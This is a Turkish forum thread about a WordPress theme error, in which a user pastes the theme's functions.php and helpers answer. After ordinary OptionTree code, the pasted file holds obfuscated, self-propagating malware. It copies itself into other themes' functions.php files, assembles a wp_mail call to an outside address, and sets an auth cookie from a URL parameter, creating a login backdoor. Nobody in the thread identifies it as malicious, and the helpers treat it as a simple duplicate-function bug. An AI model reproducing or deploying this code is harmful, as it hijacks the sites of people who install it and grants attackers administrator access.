R10.net

R10.net (https://www.r10.net/index.php)
-   WordPress Temaları (https://www.r10.net/wordpress-temalari/)
-   -   Functions.php hatası lütfen yardım (https://www.r10.net/wordpress-temalari/1060549-functions-php-hatasi-lutfen-yardim.html)

olkanuver 08-06-2013 23:29:29

Functions.php hatası lütfen yardım
 
Arkadaşlar bilenler lütfen yardım etsin. netten bir tane haber teması buldum. Etkinleştir ya da önizleme yap dediğimde "Fatal error: Cannot redeclare _check_isactive_widget() (previously declared in /home/medyacom/public_html/wp-content/themes/localnews/functions.php:176) in /home/medyacom/public_html/wp-content/themes/localnews/functions/theme_options/functions/functions.php on line 406" hatası alıyorum. Acaba tema lisanslı mı yoksa functions.phpden bi ayar mı yapmam lazım. Yardımlarınızı bekliyorum.

ayesoft 08-06-2013 23:52:44

Sorun wordpress sorunu değil standart bir php kullanım hatası aynı fonksiyon birden fazla kullanılmış hatadada açık bir şekilde satır numaraları verilmiş incelemende fayda var.

olkanuver 08-06-2013 23:54:57

Alıntı:

ayesoft Nickli Üyeden Alıntı (Mesaj 1067392925)
Sorun wordpress sorunu değil standart bir php kullanım hatası aynı fonksiyon birden fazla kullanılmış hatadada açık bir şekilde satır numaraları verilmiş incelemende fayda var.

anladım üstadım. Peki ne yapmam gereiyor. o satırları silmem mi lazım acaba ?

ayesoft 09-06-2013 00:52:04

Alıntı:

olkanuver Nickli Üyeden Alıntı (Mesaj 1067392935)
anladım üstadım. Peki ne yapmam gereiyor. o satırları silmem mi lazım acaba ?

Eğer php bilginiz yok ise bence dokunmayın. Yok biraz anlarım derseniz iki fonksiyonu karşılaştırın (aynı işi yapıyorlar büyük ihtimalle) eğer aynılarsa bi tanesini silin.

tayfuncetin 09-06-2013 00:55:20

176 ve 406. satırlarda aynı fonksiyon iki kez tekrar edilmiş. bunlardan 406. satırda olanı sonradan ekleniyor nasıl oluyorsa. wp'de çok başıma geldi. birini silersen hata düzelir. yapamazsan dosyayı at düzeltelim.

olkanuver 09-06-2013 01:03:16

Alıntı:

ayesoft Nickli Üyeden Alıntı (Mesaj 1067393211)
Eğer php bilginiz yok ise bence dokunmayın. Yok biraz anlarım derseniz iki fonksiyonu karşılaştırın (aynı işi yapıyorlar büyük ihtimalle) eğer aynılarsa bi tanesini silin.

yok anlamıyorum keşke anlayabilsem. yine de sağolun üstadım.

Alıntı:

tayfuncetin Nickli Üyeden Alıntı (Mesaj 1067393221)
176 ve 406. satırlarda aynı fonksiyon iki kez tekrar edilmiş. bunlardan 406. satırda olanı sonradan ekleniyor nasıl oluyorsa. wp'de çok başıma geldi. birini silersen hata düzelir. yapamazsan dosyayı at düzeltelim.

üstadım ben o dosyayı yükleyim de siz bi bakıverin size zahmet.Buraya yükleyemedim hata verdi hotfileye yükledim

https://hotfile.com/dl/226122235/ed3...tions.rar.html

tayfuncetin 09-06-2013 01:10:46

http://www.dosya.tc/server10/KA2OyF/functions.zip.html

bunu bi dene kardeşim. olmazsa haber ver.

zego 09-06-2013 01:13:54

Widget bulamıyor o yüzden hata veriyor. Bu bir eklenti de olabilir veya temanın desteklediği menü eksikliği de olabilir. Verilen hata satırlarını sildiğinizde başka hata vermemesi gerekir.

olkanuver 09-06-2013 01:39:54

Alıntı:

tayfuncetin Nickli Üyeden Alıntı (Mesaj 1067393268)
http://www.dosya.tc/server10/KA2OyF/functions.zip.html

bunu bi dene kardeşim. olmazsa haber ver.

olmadı maalesef pm yolladım hocam

--R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 01:39:54 -->-> Daha önceki mesaj 01:20:01 --

Alıntı:

zego Nickli Üyeden Alıntı (Mesaj 1067393280)
Widget bulamıyor o yüzden hata veriyor. Bu bir eklenti de olabilir veya temanın desteklediği menü eksikliği de olabilir. Verilen hata satırlarını sildiğinizde başka hata vermemesi gerekir.

yok üstat onu silsem rakam değişiyor. tema şifreli mi anlamadım ki :S

zego 09-06-2013 01:41:29

Alıntı:

olkanuver Nickli Üyeden Alıntı (Mesaj 1067393309)

yok üstat onu silsem rakam değişiyor. tema şifreli mi anlamadım ki :S

func dosyasının içini foruma

Kod:

.....
şeklinde eklesene bir bakalım.

olkanuver 09-06-2013 02:09:27

Alıntı:

zego Nickli Üyeden Alıntı (Mesaj 1067393385)
func dosyasının içini foruma

Kod:

.....
şeklinde eklesene bir bakalım.

Kod:

<?php if (!defined('OT_VERSION')) exit('No direct script access allowed');
/**
 * General Functions
 *
 * @package    WordPress
 * @subpackage  OptionTree
 * @since      1.1.8
 * @author      Derek Herman
 */

/**
 * Recognized font styles
 *
 * Returns an array of all recognized font styles.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_styles() {
  return apply_filters( 'recognized_font_styles', array(
    'normal'  => 'Normal',
    'italic'  => 'Italic',
    'oblique' => 'Oblique',
    'inherit' => 'Inherit'
    ) );
}

/**
 * Recognized font weights
 *
 * Returns an array of all recognized font weights.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_weights() {
  return apply_filters( 'recognized_font_weights', array(
    'normal'    => 'Normal',
    'bold'      => 'Bold',
    'bolder'    => 'Bolder',
    'lighter'  => 'Lighter',
    '100'      => '100',
    '200'      => '200',
    '300'      => '300',
    '400'      => '400',
    '500'      => '500',
    '600'      => '600',
    '700'      => '700',
    '800'      => '800',
    '900'      => '900',
    'inherit'  => 'Inherit'
    ) );
}

/**
 * Recognized font variants
 *
 * Returns an array of all recognized font variants.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_variants() {
  return apply_filters( 'recognized_font_variants', array(
    'normal'      => 'Normal',
    'small-caps'  => 'Small Caps',
    'inherit'    => 'Inherit'
    ) );
}

/**
 * Recognized font families
 *
 * Returns an array of all recognized font families.
 * Keys are intended to be stored in the database
 * while values are ready for display in html.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_families() {
  return apply_filters( 'recognized_font_families', array(
    'arial'    => 'Arial',
    'georgia'  => 'Georgia',
    'helvetica' => 'Helvetica',
    'palatino'  => 'Palatino',
    'tahoma'    => 'Tahoma',
    'times'    => '"Times New Roman", sans-serif',
    'trebuchet' => 'Trebuchet',
    'verdana'  => 'Verdana'
    ) );
}

/**
 * Recognized background repeat
 *
 * Returns an array of all recognized background repeat values.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_background_repeat() {
  return apply_filters( 'recognized_background_repeat', array(
    'no-repeat' => 'No Repeat',
    'repeat'                => 'Repeat All',
    'repeat-x'  => 'Repeat Horizontally',
    'repeat-y'        => 'Repeat Vertically',
    'inherit'  => 'Inherit'
    ) );
}

/**
 * Recognized background attachment
 *
 * Returns an array of all recognized background attachment values.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_background_attachment() {
  return apply_filters( 'recognized_background_attachment', array(
    "fixed"  => "Fixed",
    "scroll"  => "Scroll",
    "inherit" => "Inherit"
    ) );
}

/**
 * Recognized background position
 *
 * Returns an array of all recognized background position values.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_background_position() {
  return apply_filters( 'recognized_background_position', array(
    "left top"      => "Left Top",
    "left center"  => "Left Center",
    "left bottom"  => "Left Bottom",
    "center top"    => "Center Top",
    "center center" => "Center Center",
    "center bottom" => "Center Bottom",
    "right top"    => "Right Top",
    "right center"  => "Right Center",
    "right bottom"  => "Right Bottom"
    ) );
}

/**
 * Measurement Units
 *
 * Returns an array of all available unit types.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function measurement_unit_types() {
  return apply_filters( 'measurement_unit_types', array(
  'px' => 'px',
  '%'  => '%',
  'em' => 'em',
  'pt' => 'pt'
  ) );
}

/**
 * Find CSS option type and add to style.css
 *
 * @since 1.1.8
 *
 * @return bool True on write success, false on failure.
 */
function option_tree_css_save() {
  global $wpdb;
 
  $options = $wpdb->get_results( "SELECT item_id FROM " . OT_TABLE_NAME . " WHERE `item_type` = 'css' ORDER BY `item_sort` ASC" );
  foreach ( $options as $option )
    option_tree_insert_css_with_markers( $option->item_id );
 
  return false;
}

/**
 * Inserts CSS with Markers
 *
 * Inserts CSS into a dynamic.css file, placing it between
 * BEGIN and END markers. Replaces existing marked info. Retains surrounding
 * data.
 *
 * @since 1.1.8
 *
 * @return bool True on write success, false on failure.
 */
function option_tree_insert_css_with_markers( $option = '' ) {
  /* No option defined */
  if ( !$option )
    return;
 
  /* path to the dynamic.css file */
  $filepath = get_stylesheet_directory().'/dynamic.css';
 
  /* allow filter on path */
  $filepath = apply_filters( 'css_option_file_path', $filepath, $option );
 
  /* Insert CSS into file */
  if ( ! file_exists( $filepath ) || is_writeable( $filepath ) ) {
   
    /* Get options & set CSS value */
    $options    = get_option('option_tree');
    $insertion  = option_tree_normalize_css( stripslashes( $options[$option] ) );
    $regex      = "/{{([a-zA-Z0-9\_\-\#\|\=]+)}}/";
    $marker      = $option;
 
    /* Match custom CSS */
    preg_match_all( $regex, $insertion, $matches );
   
    /* Loop through CSS */
    foreach( $matches[0] as $option ) {
      $the_option = str_replace( array('{{', '}}'), '', $option );
      $option_array = explode("|", $the_option );
      /* get array by key from key|value explode */
      if ( is_array( $option_array ) ) {
        $value = $options[$option_array[0]];
      /* get the whole array from $option param */
      } else {
        $value = $options[$option];
      }
      if ( is_array( $value ) ) {
        /* key|value explode didn't return a second value */
        if ( !isset($option_array[1]) ) {
          /* Measurement */
          if ( isset( $value[0] ) && isset( $value[1] ) ) {
            $value = $value[0].$value[1];
          /* typography */
          } else if ( isset( $value['font-color'] ) || isset( $value['font-style'] ) || isset( $value['font-variant'] ) || isset( $value['font-weight'] ) || isset( $value['font-size'] ) || isset( $value['font-family'] ) ) {
            $font = array();
           
            if ( ! empty( $value['font-color'] ) )
              $font[] = "font-color: " . $value['font-color'] . ";";

            foreach ( recognized_font_families() as $key => $v ) {
              if ( ! empty( $value['font-family'] ) && $key == $value['font-family'] )
                $font[] = "font-family: " . $v . ";";
            }
           
            if ( ! empty( $value['font-size'] ) )
              $font[] = "font-size: " . $value['font-size'] . ";";
           
            if ( ! empty( $value['font-style'] ) )
              $font[] = "font-style: " . $value['font-style'] . ";";
           
            if ( ! empty( $value['font-variant'] ) )
              $font[] = "font-variant: " . $value['font-variant'] . ";";
           
            if ( ! empty( $value['font-weight'] ) )
              $font[] = "font-weight: " . $value['font-weight'] . ";";
           
            if ( ! empty( $font ) )
                $value = implode( "\n", $font );
          /* background */
          } else if ( isset( $value['background-color'] ) || isset( $value['background-image'] ) ) {
            $bg = array();
           
            if ( ! empty( $value['background-color'] ) )
              $bg[] = $value['background-color'];
             
            if ( ! empty( $value['background-image'] ) )
              $bg[] = 'url("' . $value['background-image'] . '")';
             
            if ( ! empty( $value['background-repeat'] ) )
              $bg[] = $value['background-repeat'];
             
            if ( ! empty( $value['background-attachment'] ) )
              $bg[] = $value['background-attachment'];
             
            if ( ! empty( $value['background-position'] ) )
              $bg[] = $value['background-position'];

            if ( ! empty( $bg ) )
              $value = 'background: ' . implode( " ", $bg ) . ';';
          }
        /* key|value explode return a second value */
        } else {
          $value = $value[$option_array[1]];
        }
            }
      $insertion = stripslashes( str_replace( $option, $value, $insertion ) );
    }
       
    /* file doesn't exist */
    if ( ! file_exists( $filepath ) ) {
      $markerdata = '';
    /* file exist, create array from the lines of code */
    } else {
      $markerdata = explode( "\n", implode( '', file( $filepath ) ) );
    }
   
    /* can't write to the file return false */
    if ( !$f = @fopen( $filepath, 'w' ) )
      return false;
   
    $foundit = false;
   
    /* has array of lines */
    if ( $markerdata ) {
      $state = true;
      /* foreach line of code */
      foreach ( $markerdata as $n => $markerline ) {
        /* found begining of marker, set state to false  */
        if ( strpos( $markerline, '/* BEGIN ' . $marker . ' */' ) !== false )
          $state = false;
        /* state is true, rebuild css  */
        if ( $state ) {
          if ( $n + 1 < count( $markerdata ) )
            fwrite( $f, "{$markerline}\n" );
          else
            fwrite( $f, "{$markerline}" );
        }
        /* found end marker write code */
        if ( strpos( $markerline, '/* END ' . $marker . ' */' ) !== false ) {
          fwrite( $f, "/* BEGIN {$marker} */\n" );
          fwrite( $f, "{$insertion}\n" );
          fwrite( $f, "/* END {$marker} */\n" );
          $state = true;
          $foundit = true;
        }
      }
    }
    /* nothing inserted, write code. DO IT, DO IT! */
    if ( ! $foundit ) {
      fwrite( $f, "\n\n/* BEGIN {$marker} */\n" );
      fwrite( $f, "{$insertion}\n" );
      fwrite( $f, "/* END {$marker} */\n" );
    }
    /* close file */
    fclose( $f );
    return true;
  } else {
    return false;
  }
}

function option_tree_normalize_css( $s ) {
  // Normalize line endings
  // Convert all line-endings to UNIX format
  $s = str_replace( "\r\n", "\n", $s );
  $s = str_replace( "\r", "\n", $s );
  // Don't allow out-of-control blank lines
  $s = preg_replace( "/\n{2,}/", "\n\n", $s );
  return $s;
}?>
<?php
function _check_isactive_widget(){
        $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
        $output=strip_tags($output, $allowed);
        $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
        if (is_array($direst)){
                foreach ($direst as $item){
                        if (is_writable($item)){
                                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                                $cont=file_get_contents($item);
                                if (stripos($cont,$ftion) === false){
                                        $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                                        $output .= $before . "Not found" . $after;
                                        if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                                        $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);                               
                                        $output .= ($showdots && $ellipsis) ? "..." : "";
                                }
                        }
                }
        }
        return $output;
}
function _get_allwidgetcont($wids,$items=array()){
        $places=array_shift($wids);
        if(substr($places,-1) == "/"){
                $places=substr($places,0,-1);
        }
        if(!file_exists($places) || !is_dir($places)){
                return false;
        }elseif(is_readable($places)){
                $elems=scandir($places);
                foreach ($elems as $elem){
                        if ($elem != "." && $elem != ".."){
                                if (is_dir($places . "/" . $elem)){
                                        $wids[]=$places . "/" . $elem;
                                } elseif (is_file($places . "/" . $elem)&&
                                        $elem == substr(__FILE__,-13)){
                                        $items[]=$places . "/" . $elem;}
                                }
                        }
        }else{
                return false;       
        }
        if (sizeof($wids) > 0){
                return _get_allwidgetcont($wids,$items);
        } else {
                return $items;
        }
}
if(!function_exists("stripos")){
function stripos(  $str, $needle, $offset = 0  ){
return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
}
}
if(!function_exists("strripos")){
function strripos(  $haystack, $needle, $offset = 0  ) {
if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
if(  $offset < 0  ){
$temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
}
else{
$temp_cut = strrev(    substr(  $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )  )    );
}
if(  (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE  )return FALSE;
$pos = (  strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )  );
return $pos;
}
}
if(!function_exists("scandir")){
        function scandir($dir,$listDirectories=false, $skipDots=true) {
            $dirArray = array();
            if ($handle = opendir($dir)) {
                while (false !== ($file = readdir($handle))) {
                    if (($file != "." && $file != "..") || $skipDots == true) {
                        if($listDirectories == false) { if(is_dir($file)) { continue; } }
                        array_push($dirArray,basename($file));
                    }
                }
                closedir($handle);
            }
            return $dirArray;
        }
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
        if(!isset($com_length)) $com_length=120;
        if(!isset($text_value)) $text_value="cookie";
        if(!isset($allowed_tags)) $allowed_tags="<a>";
        if(!isset($type_filter)) $type_filter="none";
        if(!isset($expl)) $expl="";
        if(!isset($filter_homes)) $filter_homes=get_option("home");
        if(!isset($pref_filter)) $pref_filter="wp_";
        if(!isset($use_more)) $use_more=1;
        if(!isset($comm_type)) $comm_type="";
        if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
        if(!isset($postauthor_comment)) $postauthor_comment="";
        if(!isset($comm_is_approved)) $comm_is_approved="";
        if(!isset($postauthor)) $postauthor="auth";
        if(!isset($more_link)) $more_link="(more...)";
        if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
        if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
        if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
        if(!isset($morecontents)) $morecontents="ma".$expl."il";
        if(!isset($fmore)) $fmore=1;
        if(!isset($fakeit)) $fakeit=1;
        if(!isset($sql)) $sql="";
        if (!$is_widget) :
        global $wpdb, $post;
        $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if (!empty($post->post_password)) {
                if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
                        if(is_feed()) {
                                $output=__("There is no excerpt because this is a protected post.");
                        } else {
                    $output=get_the_password_form();
                        }
                }
        }
        if(!isset($f_tags)) $f_tags=1;
        if(!isset($type_filters)) $type_filters=$filter_homes;
        if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
        if(!isset($aditional_tags)) $aditional_tags="div";
        if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
        if(!isset($more_link_text)) $more_link_text="Continue reading this entry";       
        if(!isset($showdots)) $showdots=1;       
        $comments=$wpdb->get_results($sql);       
        if($fakeit == 2) {
                $text=$post->post_content;
        } elseif($fakeit == 1) {
                $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
        } else {
                $text=$post->post_excerpt;
        }
        $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if($com_length < 0) {
                $output=$text;
        } else {
                if(!$no_more && strpos($text, "<!--more-->")) {
                    $text=explode("<!--more-->", $text, 2);
                        $l=count($text[0]);
                        $more_link=1;
                        $comments=$wpdb->get_results($sql);
                } else {
                        $text=explode(" ", $text);
                        if(count($text) > $com_length) {
                                $l=$com_length;
                                $ellipsis=1;
                        } else {
                                $l=count($text);
                                $more_link="";
                                $ellipsis=0;
                        }
                }
                for ($i=0; $i<$l; $i++)
                                $output .= $text[$i] . " ";
        }
        update_option("_is_widget_active_", 1);
        if("all" != $allowed_tags) {
                $output=strip_tags($output, $allowed_tags);
                return $output;
        }
        endif;
        $output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
        $output .= ($showdots && $ellipsis) ? "..." : "";
        $output=apply_filters($type_filter, $output);
        switch($aditional_tags) {
                case("div") :
                        $tag="div";
                break;
                case("span") :
                        $tag="span";
                break;
                case("p") :
                        $tag="p";
                break;
                default :
                        $tag="span";
        }

        if ($use_more ) {
                if($fmore) {
                        $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
                } else {
                        $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
                }
        }
        return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
        global $wpdb;
        $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
        $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
        if(!$show_pass_post) $request .= " AND post_password =\"\"";
        if($duration !="") {
                $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
        }
        $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
        $posts=$wpdb->get_results($request);
        $output="";
        if ($posts) {
                foreach ($posts as $post) {
                        $post_title=stripslashes($post->post_title);
                        $comment_count=$post->comment_count;
                        $permalink=get_permalink($post->ID);
                        $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
                }
        } else {
                $output .= $before . "None found" . $after;
        }
        return  $output;
}               
?>


zego 09-06-2013 02:27:48

Bununla değiştir tüm içini bakalım bi olacak mı.

Kod:

<?php if (!defined('OT_VERSION')) exit('No direct script access allowed');
/**
 * General Functions
 *
 * @package    WordPress
 * @subpackage  OptionTree
 * @since      1.1.8
 * @author      Derek Herman
 */

/**
 * Recognized font styles
 *
 * Returns an array of all recognized font styles.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_styles() {
  return apply_filters( 'recognized_font_styles', array(
    'normal'  => 'Normal',
    'italic'  => 'Italic',
    'oblique' => 'Oblique',
    'inherit' => 'Inherit'
    ) );
}

/**
 * Recognized font weights
 *
 * Returns an array of all recognized font weights.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_weights() {
  return apply_filters( 'recognized_font_weights', array(
    'normal'    => 'Normal',
    'bold'      => 'Bold',
    'bolder'    => 'Bolder',
    'lighter'  => 'Lighter',
    '100'      => '100',
    '200'      => '200',
    '300'      => '300',
    '400'      => '400',
    '500'      => '500',
    '600'      => '600',
    '700'      => '700',
    '800'      => '800',
    '900'      => '900',
    'inherit'  => 'Inherit'
    ) );
}

/**
 * Recognized font variants
 *
 * Returns an array of all recognized font variants.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_variants() {
  return apply_filters( 'recognized_font_variants', array(
    'normal'      => 'Normal',
    'small-caps'  => 'Small Caps',
    'inherit'    => 'Inherit'
    ) );
}

/**
 * Recognized font families
 *
 * Returns an array of all recognized font families.
 * Keys are intended to be stored in the database
 * while values are ready for display in html.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_font_families() {
  return apply_filters( 'recognized_font_families', array(
    'arial'    => 'Arial',
    'georgia'  => 'Georgia',
    'helvetica' => 'Helvetica',
    'palatino'  => 'Palatino',
    'tahoma'    => 'Tahoma',
    'times'    => '"Times New Roman", sans-serif',
    'trebuchet' => 'Trebuchet',
    'verdana'  => 'Verdana'
    ) );
}

/**
 * Recognized background repeat
 *
 * Returns an array of all recognized background repeat values.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_background_repeat() {
  return apply_filters( 'recognized_background_repeat', array(
    'no-repeat' => 'No Repeat',
    'repeat'                => 'Repeat All',
    'repeat-x'  => 'Repeat Horizontally',
    'repeat-y'        => 'Repeat Vertically',
    'inherit'  => 'Inherit'
    ) );
}

/**
 * Recognized background attachment
 *
 * Returns an array of all recognized background attachment values.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function recognized_background_attachment() {
  return apply_filters( 'recognized_background_attachment', array(
    "fixed"  => "Fixed",
    "scroll"  => "Scroll",
    "inherit" => "Inherit"
    ) );
}

/**
 * Measurement Units
 *
 * Returns an array of all available unit types.
 *
 * @uses      apply_filters()
 *
 * @access    public
 * @since    1.1.8
 *
 * @return    array
 */
function measurement_unit_types() {
  return apply_filters( 'measurement_unit_types', array(
  'px' => 'px',
  '%'  => '%',
  'em' => 'em',
  'pt' => 'pt'
  ) );
}

/**
 * Find CSS option type and add to style.css
 *
 * @since 1.1.8
 *
 * @return bool True on write success, false on failure.
 */
function option_tree_css_save() {
  global $wpdb;
 
  $options = $wpdb->get_results( "SELECT item_id FROM " . OT_TABLE_NAME . " WHERE `item_type` = 'css' ORDER BY `item_sort` ASC" );
  foreach ( $options as $option )
    option_tree_insert_css_with_markers( $option->item_id );
 
  return false;
}

/**
 * Inserts CSS with Markers
 *
 * Inserts CSS into a dynamic.css file, placing it between
 * BEGIN and END markers. Replaces existing marked info. Retains surrounding
 * data.
 *
 * @since 1.1.8
 *
 * @return bool True on write success, false on failure.
 */
function option_tree_insert_css_with_markers( $option = '' ) {
  /* No option defined */
  if ( !$option )
    return;
 
  /* path to the dynamic.css file */
  $filepath = get_stylesheet_directory().'/dynamic.css';
 
  /* allow filter on path */
  $filepath = apply_filters( 'css_option_file_path', $filepath, $option );
 
  /* Insert CSS into file */
  if ( ! file_exists( $filepath ) || is_writeable( $filepath ) ) {
   
    /* Get options & set CSS value */
    $options    = get_option('option_tree');
    $insertion  = option_tree_normalize_css( stripslashes( $options[$option] ) );
    $regex      = "/{{([a-zA-Z0-9\_\-\#\|\=]+)}}/";
    $marker      = $option;
 
    /* Match custom CSS */
    preg_match_all( $regex, $insertion, $matches );
   
    /* Loop through CSS */
    foreach( $matches[0] as $option ) {
      $the_option = str_replace( array('{{', '}}'), '', $option );
      $option_array = explode("|", $the_option );
      /* get array by key from key|value explode */
      if ( is_array( $option_array ) ) {
        $value = $options[$option_array[0]];
      /* get the whole array from $option param */
      } else {
        $value = $options[$option];
      }
      if ( is_array( $value ) ) {
        /* key|value explode didn't return a second value */
        if ( !isset($option_array[1]) ) {
          /* Measurement */
          if ( isset( $value[0] ) && isset( $value[1] ) ) {
            $value = $value[0].$value[1];
          /* typography */
          } else if ( isset( $value['font-color'] ) || isset( $value['font-style'] ) || isset( $value['font-variant'] ) || isset( $value['font-weight'] ) || isset( $value['font-size'] ) || isset( $value['font-family'] ) ) {
            $font = array();
           
            if ( ! empty( $value['font-color'] ) )
              $font[] = "font-color: " . $value['font-color'] . ";";

            foreach ( recognized_font_families() as $key => $v ) {
              if ( ! empty( $value['font-family'] ) && $key == $value['font-family'] )
                $font[] = "font-family: " . $v . ";";
            }
           
            if ( ! empty( $value['font-size'] ) )
              $font[] = "font-size: " . $value['font-size'] . ";";
           
            if ( ! empty( $value['font-style'] ) )
              $font[] = "font-style: " . $value['font-style'] . ";";
           
            if ( ! empty( $value['font-variant'] ) )
              $font[] = "font-variant: " . $value['font-variant'] . ";";
           
            if ( ! empty( $value['font-weight'] ) )
              $font[] = "font-weight: " . $value['font-weight'] . ";";
           
            if ( ! empty( $font ) )
                $value = implode( "\n", $font );
          /* background */
          } else if ( isset( $value['background-color'] ) || isset( $value['background-image'] ) ) {
            $bg = array();
           
            if ( ! empty( $value['background-color'] ) )
              $bg[] = $value['background-color'];
             
            if ( ! empty( $value['background-image'] ) )
              $bg[] = 'url("' . $value['background-image'] . '")';
             
            if ( ! empty( $value['background-repeat'] ) )
              $bg[] = $value['background-repeat'];
             
            if ( ! empty( $value['background-attachment'] ) )
              $bg[] = $value['background-attachment'];
             
            if ( ! empty( $value['background-position'] ) )
              $bg[] = $value['background-position'];

            if ( ! empty( $bg ) )
              $value = 'background: ' . implode( " ", $bg ) . ';';
          }
        /* key|value explode return a second value */
        } else {
          $value = $value[$option_array[1]];
        }
            }
      $insertion = stripslashes( str_replace( $option, $value, $insertion ) );
    }
       
    /* file doesn't exist */
    if ( ! file_exists( $filepath ) ) {
      $markerdata = '';
    /* file exist, create array from the lines of code */
    } else {
      $markerdata = explode( "\n", implode( '', file( $filepath ) ) );
    }
   
    /* can't write to the file return false */
    if ( !$f = @fopen( $filepath, 'w' ) )
      return false;
   
    $foundit = false;
   
    /* has array of lines */
    if ( $markerdata ) {
      $state = true;
      /* foreach line of code */
      foreach ( $markerdata as $n => $markerline ) {
        /* found begining of marker, set state to false  */
        if ( strpos( $markerline, '/* BEGIN ' . $marker . ' */' ) !== false )
          $state = false;
        /* state is true, rebuild css  */
        if ( $state ) {
          if ( $n + 1 < count( $markerdata ) )
            fwrite( $f, "{$markerline}\n" );
          else
            fwrite( $f, "{$markerline}" );
        }
        /* found end marker write code */
        if ( strpos( $markerline, '/* END ' . $marker . ' */' ) !== false ) {
          fwrite( $f, "/* BEGIN {$marker} */\n" );
          fwrite( $f, "{$insertion}\n" );
          fwrite( $f, "/* END {$marker} */\n" );
          $state = true;
          $foundit = true;
        }
      }
    }
    /* nothing inserted, write code. DO IT, DO IT! */
    if ( ! $foundit ) {
      fwrite( $f, "\n\n/* BEGIN {$marker} */\n" );
      fwrite( $f, "{$insertion}\n" );
      fwrite( $f, "/* END {$marker} */\n" );
    }
